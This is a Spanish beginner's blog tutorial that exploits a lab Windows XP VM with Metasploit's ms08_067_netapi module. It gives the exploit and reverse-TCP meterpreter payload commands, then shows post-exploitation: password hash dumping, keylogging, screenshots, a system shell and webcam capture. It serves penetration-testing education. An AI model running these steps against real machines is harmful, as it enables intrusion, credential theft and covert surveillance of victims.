Metasploit básico: Windows XP

Metasploit nos ofrece muchas posibilidades a la hora de atacar una máquina, en este post vamos a ver una forma típica de atacar un Windows XP y obtener sesiones remotas de meterpreter. Este artículo está destinado a personas que estén comenzando a usar Metasploit Framework, por tanto las vulnerabilidades usadas están más que trilladas y no veremos msfpayload y msfencode ni ninguna técnica para evadir antivirus.

Para este post he creado una máquina virtual con Windows XP con 1 Gb de memoria RAM y la interfaz de red en modo puente conectada a la red local. La máquina tiene el cortafuegos del sistema operativo y la compartición de archivos e impresoras habilitados. No se ha instalado ningún antivirus a la máquina así por tanto no tenemos que preocuparnos de evadir nada por ahora, esa parte se hará en otro post.

Primero escaneamos el host con NMAP que nos devuelve el siguiente resultado:

xp-nmap

Nmap nos devuelve información de interés como el sistema operativo, puertos abiertos, nombre de red de la máquina, grupo de trabajo, dirección MAC… comprobamos que tiene el puerto 445 abierto.

Usando el exploit ms08_067_netapi

Este módulo aprovecha la vulnerabilidad CVE-2008-4250, una vulnerabilidad descubierta en octubre de 2008 por Gimmiv.A. Es una vulnerabilidad de tipo buffer overflow, que afecta concretamente a la librería NetAPI32.dll.  La alta criticidad de la vulnerabilidad radica en que permite la ejecución de código remoto a través de peticiones RPC maliciosas desde la red y se puede obtener el control completo de la máquina comprometida.

Ejecutamos msfconsole y seleccionamos el exploit ms08_067_netapi.

use exploit/windows/smb/ms08_067_netapi

Podemos ver las opciones con el comando show options, ahora configuramos las distintas opciones. Con LHOST elegimos el host donde vamos a recibir la shell inversa, en este caso es la IP de nuestra máquina virtual atacante, con RHOST indicamos la dirección IP de la máquina virtual con Windows XP. A continuación seleccionamos el payload, en este caso meterpreter/reverse_tcp.

set RHOST 192.168.1.204
 set PAYLOAD windows/meterpreter/reverse_tcp
 set LHOST 192.168.1.200

Una vez tengamos configurado los parámetros básicos necesarios nos disponemos a ejecutar el exploit, para ello ejecutamos el comando exploit, cuando termine el proceso nos devolverá una shell de meterpreter con la que podremos comenzar a investigar remotamente nuestra máquina virtual en XP.

xp-netapi-meterpreter-session-opened

Meterpreter – uso básico

Meterpreter es una utilidad incluida en metasploit framework que nos permite obtener información de la máquina vulnerada, subir ficheros, ejecutar código, obtener una shell de sistema o capturar el teclado. Si queremos listar las sesiones activas tan sólo tenemos que introducir el comando sessions -l, cuando queramos interactuar con una shell en concreto lo haremos con el comando sessions -i SESSION, siendo SESSION el número de la sesión a la que nos queremos conectar. Si queremos dejar la sesión de meterpreter para volver a msfconsole usaremos el comando background.

Una vez tenemos la shell de meterpreter ya podemos curiosear un poco y ver que características ofrece.

xp-meterpreter-1

Para ver los comandos que ofrece meterpreter introduciremos el caracter ?, esto nos devolverá una lista de comandos. Uno de los comandos más típico de este software es poder realizar capturas de escritorio, para ello usaremos el comando screenshot y nos devolverá la ruta donde se ha almacenado la imagen. Con hashdump podemos extraer los usuarios y sus respectivos hashes para luego poder usar una herramienta externa como john the ripper o hashcat.

Podemos navegar por los directorios con el comando cd, mostrar los ficheros por pantalla con cat, editar los ficheros con edit, podemos ver una lista completa de comandos ejecutando la ayuda.

Para comenzar a capturar las pulsaciones de las teclas en la máquina comprometida usaremos el comando keyscan_start y se pondrá a registrar las teclas que vamos presionando. Para detenerlo usamos keyscan_stop. Debemos migrar a un PID que tenga un proceso del sistema, en este caso usaremos explorer.exe (si intentamos capturar teclas sin haber migrado previamente nos podemos encontrar con que no capture nada). El comando usado para migrar el proceso se encuentra en la captura que se muestra a continuación.

xp-meterpreter-keyscan

Para sacar una consola de sistema operativo usaremos el comando shell, para salir de la consola y volver a meterpreter usaremos “exit”.

xp-meterpreter-shell-sistema

Además podemos capturar el micrófono, activar su webcam e incluso establecer directamente una videoconferencia con el ordenador de la víctima. Metasploit nos deja a nuestro alcance un arsenal para realizar nuestras pruebas de intrusión. Un saludo!!